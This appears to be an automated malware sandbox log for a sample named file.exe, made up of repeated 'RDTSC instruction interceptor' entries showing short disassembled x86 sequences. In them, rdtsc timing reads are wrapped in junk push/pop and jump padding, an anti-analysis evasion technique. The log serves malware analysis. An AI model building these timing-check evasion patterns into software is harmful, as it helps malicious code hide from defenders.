Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883214 second address: 88325F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A08Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop ebx 0x0000000d jmp 00007F105527A098h 0x00000012 popad 0x00000013 push ebx 0x00000014 pushad 0x00000015 push esi 0x00000016 pop esi 0x00000017 jng 00007F105527A086h 0x0000001d jmp 00007F105527A08Ch 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88325F second address: 883263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883263 second address: 883267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881262 second address: 8812B6 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F105534B216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007F105534B229h 0x00000010 pop edx 0x00000011 push eax 0x00000012 push eax 0x00000013 pop eax 0x00000014 jnc 00007F105534B216h 0x0000001a pop eax 0x0000001b jmp 00007F105534B21Fh 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F105534B223h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8815CC second address: 8815D2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882125 second address: 882129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882129 second address: 882135 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jns 00007F105527A086h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882C6A second address: 882C6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888119 second address: 88811D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889887 second address: 88988B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CC48 second address: 88CC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F105527A086h 0x0000000a jp 00007F105527A086h 0x00000010 popad 0x00000011 jmp 00007F105527A091h 0x00000016 push eax 0x00000017 push edx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CC6E second address: 88CC9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007F105534B216h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F105534B229h 0x00000013 jns 00007F105534B216h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CC9B second address: 88CCD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F105527A08Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007F105527A092h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jno 00007F105527A086h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F105527A08Bh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CFB5 second address: 88CFB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D12E second address: 88D169 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A097h 0x00000007 jmp 00007F105527A098h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jo 00007F105527A08Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895D15 second address: 895D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F105534B216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895D1F second address: 895D33 instructions: 0x00000000 rdtsc 0x00000002 js 00007F105527A086h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895D33 second address: 895D4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F105534B226h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895D4E second address: 895D64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F105527A090h 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895D64 second address: 895D79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F105534B21Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895D79 second address: 895D96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A099h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893FCF second address: 893FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F105534B216h 0x0000000a popad 0x0000000b jmp 00007F105534B229h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893FF3 second address: 894006 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F105527A08Ch 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8942BF second address: 8942C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8942C3 second address: 8942CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8942CF second address: 8942D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8942D3 second address: 8942D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89446E second address: 894473 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8945C5 second address: 8945DF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jng 00007F105527A086h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b jnl 00007F105527A086h 0x00000011 pop eax 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8945DF second address: 89461B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F105534B216h 0x00000008 jns 00007F105534B216h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 jmp 00007F105534B223h 0x00000016 jmp 00007F105534B227h 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8948C0 second address: 8948D2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F105527A086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F105527A088h 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8948D2 second address: 8948E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F105534B221h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8948E7 second address: 894920 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A099h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 jmp 00007F105527A08Eh 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894BC5 second address: 894BC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894D3C second address: 894D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894D43 second address: 894D4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F105534B216h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89544E second address: 895452 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893A3F second address: 893A6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105534B224h 0x00000007 push edi 0x00000008 jmp 00007F105534B227h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89EC75 second address: 89EC79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E794 second address: 89E79A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E79A second address: 89E7A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F105527A086h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E7A5 second address: 89E7C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F105534B227h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E7C2 second address: 89E7C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E7C6 second address: 89E7D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F105534B216h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E7D6 second address: 89E7DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E92F second address: 89E93F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105534B21Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E93F second address: 89E96C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F105527A091h 0x0000000a jbe 00007F105527A086h 0x00000010 popad 0x00000011 push ebx 0x00000012 pushad 0x00000013 popad 0x00000014 jno 00007F105527A086h 0x0000001a pop ebx 0x0000001b pop edx 0x0000001c pop eax 0x0000001d pushad 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E96C second address: 89E9A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F105534B229h 0x0000000e jmp 00007F105534B229h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E9A7 second address: 89E9BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 js 00007F105527A086h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4C75 second address: 8A4C79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9F87 second address: 8A9F8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9F8B second address: 8A9F91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0980 second address: 8B0984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0984 second address: 8B09AA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F105534B216h 0x00000008 jmp 00007F105534B227h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B09AA second address: 8B09BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F105527A08Ah 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B09BB second address: 8B09CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105534B21Ah 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B03A4 second address: 8B03AE instructions: 0x00000000 rdtsc 0x00000002 jng 00007F105527A08Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B31C1 second address: 8B31DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F105534B224h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B3314 second address: 8B331A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB247 second address: 8BB24C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB24C second address: 8BB252 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BB252 second address: 8BB269 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jo 00007F105534B216h 0x0000000f jp 00007F105534B216h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2EAF second address: 8C2EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2D19 second address: 8C2D24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F105534B216h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2D24 second address: 8C2D44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F105527A08Fh 0x0000000a popad 0x0000000b push edi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2D44 second address: 8C2D4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2D4A second address: 8C2D4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C8730 second address: 8C8755 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F105534B228h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCF6F second address: 8CCF73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCF73 second address: 8CCF7D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F105534B216h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CD3B2 second address: 8CD3B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CD549 second address: 8CD54E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CD54E second address: 8CD569 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A096h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CD569 second address: 8CD56F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CD6D1 second address: 8CD702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F105527A09Ch 0x0000000d jmp 00007F105527A096h 0x00000012 pushad 0x00000013 jbe 00007F105527A086h 0x00000019 js 00007F105527A086h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CD702 second address: 8CD708 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CD9FA second address: 8CDA06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F105527A086h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CE473 second address: 8CE47E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F105534B216h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CE47E second address: 8CE4A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A08Eh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F105527A091h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D25D1 second address: 8D25EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F105534B224h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2140 second address: 8D2146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2146 second address: 8D214A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D214A second address: 8D2188 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F105527A091h 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F105527A094h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F105527A08Fh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF74C second address: 8DF750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF750 second address: 8DF75D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF75D second address: 8DF762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DCE52 second address: 8DCE68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F105527A092h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DCE68 second address: 8DCE91 instructions: 0x00000000 rdtsc 0x00000002 js 00007F105534B22Dh 0x00000008 jmp 00007F105534B227h 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007F105534B216h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DCE91 second address: 8DCE95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DCE95 second address: 8DCE99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDF28 second address: 8EDF30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EDF30 second address: 8EDF36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFEEC second address: 8EFF2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F105527A086h 0x0000000a pushad 0x0000000b popad 0x0000000c jnc 00007F105527A086h 0x00000012 popad 0x00000013 push eax 0x00000014 jnl 00007F105527A086h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c pop eax 0x0000001d je 00007F105527A08Eh 0x00000023 jns 00007F105527A086h 0x00000029 push ecx 0x0000002a pop ecx 0x0000002b popad 0x0000002c pushad 0x0000002d jc 00007F105527A092h 0x00000033 je 00007F105527A086h 0x00000039 jng 00007F105527A086h 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFF2F second address: 8EFF33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFF33 second address: 8EFF37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFF37 second address: 8EFF3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFA1B second address: 8EFA63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F105527A092h 0x00000007 jbe 00007F105527A086h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 ja 00007F105527A086h 0x00000016 ja 00007F105527A086h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F105527A098h 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFA63 second address: 8EFA67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFA67 second address: 8EFA72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
